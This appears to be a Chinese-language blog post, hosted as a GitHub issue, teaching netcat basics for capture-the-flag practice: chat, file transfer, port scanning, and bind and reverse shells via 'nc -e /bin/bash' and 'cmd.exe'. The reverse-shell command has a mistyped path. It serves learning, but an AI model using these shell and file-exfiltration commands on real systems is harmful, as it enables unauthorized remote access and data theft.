yzdily / yzdily.github.io

20 stars 1 forks source link

CTF 工具篇 瑞士军刀NC #44

Open yzdily opened 3 years ago

yzdily commented 3 years ago

瑞士军刀NC

概述 NetCat,简称’nc’,有着 网络安全界"瑞士军刀" 的美称,可以通过TCP/UDP协议读写,是一个好用稳定的连接系统后门的工具,同时也是一个网络调试和开发工具

前期准备 两台任意有NC的命令的Linux主机

如果没有nc命令,使用下面命令安装

yum install -y nc 以下两台Linux分别命名为a和b,a是服务端,b是主机

常用参数
-l:启动监听
-v:显示执行命令的过程
-vv:显示更详细的信息
-p:指定端口
-e:重定向一个程序
-z:直接显示结果,用于扫描
-u:使用udp协议
-t:使用tcp协议
-n:IP以数字显示
-w:设置超时时间

构造一个简单的聊天界面 在a中使用命令 nc -lvp 监听端口[比如:1234,4567,8888,9999......任意即可,但是不能大于65535]

然后在b中执行

nc -nv 服务端的IP地址 服务端的监听端口

在服务端看到就说明已经连接上了,connect to........后面的IP地址是连接过来的主机的IP地址

然后任意发信息都可以在对方主机显示出来,无论是服务端发送信息给主机还是主机发送信息给服务端,都可以实现两边都看得到对方给发的信息

构造一个读取文件的界面 假如服务端里有一个flag.txt,然后需要hacker入侵该系统并且取得flag文件,当hacker入侵进服务端的时候,发现了flag文件,但是不能直接读取,hacker绞尽脑汁地先查看这个文件,突然想到可以用到nc将文件传出来了,于是…

使用下面的命令将文件传出去:

nc -lvp 8888 < flag.txt

然后咱们在主机输入命令

nc -nv 服务端的IP地址 服务端的监听端口 image.png

连接成功后,主机端会回显文件内的内容 image.png

反弹一个shell nc的功能是不限于聊天和返回文件的,反弹shell才是正经事

在Windows中,我们执行命令都是使用cmd.exe 在Linux中,我们执行命令都是使用/bin/bash 正向连接 正向连接:主动连接反弹shell的主机,通俗来说就是我们自己去连接服务端,然后执行命令,好比你喜欢一个男孩/女孩,你要主动去追人间,就是这么一个意思

nc -lvp -t -e cmd.exe 8888 //-t使用TCP连接,因为TCP很稳定, -e反弹cmd.exe出去 同样的,使用下面的命令连接到shell

nc -nv 服务端的IP地址 服务端的监听端口 如果你要反弹Linux的shell

nc -lv -t -e /bin/bash -p 8888 //-t使用TCP连接,因为TCP很稳定, -e反弹/bin/bash出去

然后可以试着执行一下命令看一下是否成功反弹了一个shell回来

反向连接 反向连接:有服务端主动连接到我们的主机,反向连接好比有一个女孩/男孩在主动追求你 image.png 先在我们的主机输入监听端口的命令

nc -lvp 8888 image.png 然后在服务端输入

nc -e /bash/bin -t 主机ip 主机的监听端口

当有服务端主动连接上我们的主机时,可以通过输入命令测试是否已经拿到shell了

搭建一个蜜罐 nc -k -lvp 8888 > abc.txt //-k持续监听 扫描端口 通常当你拿到shell了,但是还想探测一下内外的情况,但是扫描工具是扫描不进内网的,这个时候可以用nc扫描(不知道为什么,我自己的主机没有东西回显回来,这很糟糕)

nc -n -z -v 服务端IP地址 端口[端口范围] 如果有该端口是开放的:

netcat:connect to ip

如果该端口是关闭的,会显示Connection refused :